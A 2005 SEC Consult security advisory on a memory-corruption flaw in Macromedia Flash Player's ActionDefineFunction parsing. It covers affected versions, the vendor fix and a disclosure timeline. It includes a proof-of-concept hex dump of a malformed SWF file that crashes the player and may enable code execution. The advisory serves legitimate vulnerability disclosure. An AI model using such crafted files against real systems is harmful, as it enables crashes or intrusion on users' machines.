SEC-20051107-1.txt

`SEC-CONSULT Security Advisory 20051107-1  
=======================================================================================  
title: Macromedia Flash Player ActionDefineFunction  
Memory Corruption  
program: Macromedia Flash Plugin  
vulnerable version: flash.ocx v7.0.19.0 and earlier  
libflashplayer.so before 7.0.25.0  
homepage: www.macromedia.com  
found: 2005-06-27  
by: Bernhard Mueller / SEC-CONSULT /  
www.sec-consult.com  
=======================================================================================  
  
Vendor description:  
---------------  
  
Macromedia Flash Player is the high performance, lightweight, highly  
expressive client runtime that delivers powerful and consistent user  
experiences across major operating systems, browsers, mobile phones and  
devices.  
  
  
Vulnerabilty:  
---------------  
  
ActionScript is an ECMAScript-based programming language used for  
controlling Macromedia Flash movies and applications. In SWF files,  
Actionscript commands are represented by DoAction Tags embedded in  
frames. SEC Consult has found that parameters to ActionDefineFunction  
(ACTIONRECORD 0x9b) are not properly sanitized. Loading a specially  
crafted SWF leads to an improper memory access condition which can be  
used to crash flash player or may be exploited as a vector for code  
execution.  
This issue is similar to CAN-2005-2628 (as reported by eEye Digital  
Security on November 4, 2005) but affects a different function.  
Coincidentally, Macromedia has received our notification of this bug on  
the same day (June 27).  
  
  
Proof of Concept:  
---------------  
  
A "malicious" flash movie dump:  
  
<swf>  
  
----- [SetBackgroundColor] -----  
TagID: 9 (size: 3 (short tag)  
- dump ->:  
\x43\x02\xff\x00\x00  
  
----- [DoAction] -----  
TagID: 12 (size: 60 (short tag)  
- dump ->:  
\x3c\x03\x9b\x08\x00\x41\x41\x41\x41\x41\x41\x41\x41\x00\x40\x00  
\x42\x42\x42\x42\x42\x42\x42\x42\x00\x43\x43\x43\x43\x43\x43\x43  
\x43\x00\x44\x44\x44\x44\x44\x44\x44\x44\x00\x45\x45\x45\x45\x45  
\x45\x45\x45\x00\x46\x46\x46\x46\x46\x46\x46\x46\x00\x00  
  
----- [ShowFrame] -----  
TagID: 1 (size: 0 (short tag)  
- dump ->:  
\x40\x00  
  
----- [End] -----  
TagID: 0 (size: 0 (short tag)  
- dump ->:  
\x00\x00  
  
</swf>  
  
  
Recommended Fix:  
---------------  
  
The issue has been addressed in MPSB05-07. Upgrade to the newest version  
of Flash Player 7 or to Flash Player 8.  
  
Link:  
  
http://www.macromedia.com/devnet/security/security_zone/mpsb05-07.html.  
  
  
Vendor status:  
---------------  
vendor notified: 2005-06  
fixed: 2005-09  
  
  
  
General remarks  
---------------  
We would like to apologize in advance for potential nonconformities  
and/or known issues.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
SEC Consult Unternehmensberatung GmbH  
  
Office Vienna  
Blindengasse 3  
A-1080 Wien  
Austria  
  
Tel.: +43 / 1 / 409 0307 - 570  
Fax.: +43 / 1 / 409 0307 - 590  
Mail: office at sec-consult dot com  
www.sec-consult.com  
  
EOF Bernhard Mueller / @2005  
bmu at sec-consult dot com  
`